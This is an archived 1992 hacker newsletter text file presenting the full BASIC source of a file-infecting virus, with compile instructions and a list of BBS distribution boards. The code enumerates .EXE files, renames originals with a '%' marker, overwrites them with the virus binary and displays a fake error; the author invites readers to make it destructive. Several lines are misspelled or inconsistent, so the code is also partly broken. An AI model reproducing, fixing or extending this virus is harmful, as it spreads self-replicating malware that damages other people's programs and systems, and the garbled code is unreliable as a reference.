home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / vas038.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.2 KB  |  101 lines
  1.  
  2. ╔═════════════════════════════════════════════════════════════════════════════╗
  3. ║ ─────────────────────── ▀▄     █ █▀▀▀█ █▀▀▀▀ ────────────────────────────── ║
  4. ║ ───────────────────────── ▀▄   █ █   █ █▄▄▄▄ ────────────────────────────── ║
  5. ║ ─────────────────────────── ▀▄ █ █▀▀▀█     █ ────────────────────────────── ║
  6. ║ ───────────────────────────── ▀█ █   █ ▄▄▄▄█ ────────────────────────────── ║
  7. ╠═════════════════════════════════════════════════════════════════════════════╣
  8. ║                Vaginal and Anal Secretions Newsletter #0038                 ║
  9. ╟─────────────────────────────────────────────────────────────────────────────╢
  10. ║          Date Released : [06/31/92]       Author: The Smurfs (PROBE-X)      ║
  11. ╟─────────────────────────────────────────────────────────────────────────────╢
  12. ║                               A Basic Virus...                              ║
  13. ╙─────────────────────────────────────────────────────────────────────────────╜
  14.  
  15. Well, here's a basic virus.. Nothing complex, very (very) BASIC. It attaches
  16. itself to .EXE's and is non-destructive so non-programmers don't fuck around
  17. and mess up shit.  It should run under GW-BASIC, and it works in QuickBASIC.
  18. Remember the length of the compiled and linked .EXE file and edit the source
  19. code to place the length of the object program in LENGHTVIR varible. BV3.EXE
  20. should be in the current directory,COMMAND.COM must be avilable (SHELL=) and
  21. remember to use the /e  switch when compiling.  Anybody with BASIC knowledge
  22. can make this a major fucker.
  23.  
  24. 10 ON ERROR GOTO 670
  25. 20 REM *** A BASIC VIRUS ***
  26. 30 REN *** IF BASIC STINKS ***
  27. 40 REM *** THEN RUN THIS ***
  28. 50 REM *** HAHHAHAHAHAHA ***
  29. 60 REM *** LENGHTVIR MUST BE SET ***
  30. 70 REM *** TO THE LENGHT TO THE ***
  31. 80 REM *** LINKED PROGRAM ***
  32. 90 LENGHTVIR=9999
  33. 100 VIRROOT$="BV3.EXE"
  34. 110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
  35. 130 SHELL "DIR *.EXE>>INH"
  36. 140 REM ** OPEN "INH" FILE AND READ NAMES **
  37. 150 OPEN "R",1,"INH",32000
  38. 160 GET #1,1
  39. 170 LINE INPUT#1,ORIGINAL$
  40. 180 LINE INPUT#1,ORIGINAL$
  41. 190 LINE INPUT#1,ORIGINAL$
  42. 200 LINE INPUT#1,ORIGINAL$
  43. 210 ON ERROR GOT 670
  44. 220 CLOSE#2
  45. 230 F=1:LINE INPUT#1,ORIGINAL$
  46. 240 REM ** "%" IS THE MARKER OF THE BV3
  47. 250 REM ** "%" IN THE NAME MEANS
  48. 260 REM ** INFECTED COPY PRESENT
  49. 270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
  50. 280 ORIGINAL$=MID$(ORIGINAL$,1,13)
  51. 290 EXTENSIONS$=MID$(ORIGINAL,9,13)
  52. 300 MID$(EXTENSIONS$,1,1)="."
  53. 310 REM *** CONCATENATE NAMES INTO FILENAMES **
  54. 320 F=F+1
  55. 330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN 350
  56. 340 GOTO 320
  57. 350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
  58. 360 ON ERROR GOTO 210
  59. 365 TEST$=""
  60. 370 REM ++ OPEN FILE FOUND +++
  61. 380 OPEN "R",2,OROGINAL$,LENGHTVIR
  62. 390 IF LOF(2) < LENGHTVIR THEN GOTO 420
  63. 400 GET #2,2
  64. 410 LINE INPUT#1,TEST$
  65. 420 CLOSE#2
  66. 431 REM ++ CHECK IF PROGRAM IS ILL ++
  67. 440 REM ++ "%" AT THE END OF THE FILE MEANS..
  68. 450 REM ++ FILE IS ALREADY SICK ++
  69. 460 REM IF MID$(TEST,2,1)="%" THEN 210
  70. 470 CLOSE#1
  71. 480 ORIGINALS$=ORIGINAL$
  72. 490 MID$(ORIGINALS$,1,1)="%"
  73. 499 REM ++++ SANE "HEALTHY" PROGRAM ++++
  74. 510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
  75. 520 SHELL C$
  76. 530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
  77. 540 C$="COPY "+VIRROOT$+ORIGINAL$
  78. 550 SHELL C$
  79. 560 REM *** APPEND VIRUS MARKER ***
  80. 570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
  81. 580 WRITE#1,ORIGINALS$
  82. 590 CLOSE#1
  83. 630 REM ++ OUYPUT MESSAGE ++
  84. 640 PRINT "Internal error in " ;ORIGIANAL$
  85. 650 SYSTEM
  86. 660 REM ** VIRUS ERROR MESSAGE
  87. 670 PRINT "*** GOTCHA! ***":SYSTEM
  88. 680 END
  89.  
  90.                   ───═════[ VaS DiSTRiBuTioN SiTeS ]═════───
  91. ╔═════════════════════════════════════════════════════════════════════════════╗
  92. ║  BBS Name                 Number       Baud   Sysop                Title    ║
  93. ╟─────────────────────────────────────────────────────────────────────────────╢
  94. ║  LiVe WiRE BBS        (313)464-1470    14.4   Studmuffin          World HQ  ║
  95. ║  PoT BBS              (313)462-1906    24oo   Phreak_Accident     World HQ  ║
  96. ║  TcH BBS              (713)373-4031    14.4   One Meg Cacher      Dist. #1  ║
  97. ║  Floating Pancreas    (305)551-0311    14.4   Majestic Cockster   Dist. #2  ║
  98. ║  Phantasm III         (313)884-2617    14.4   Scavenger           Dist. #3  ║
  99. ╚═════════════════════════════════════════════════════════════════════════════╝
  100.  
  101.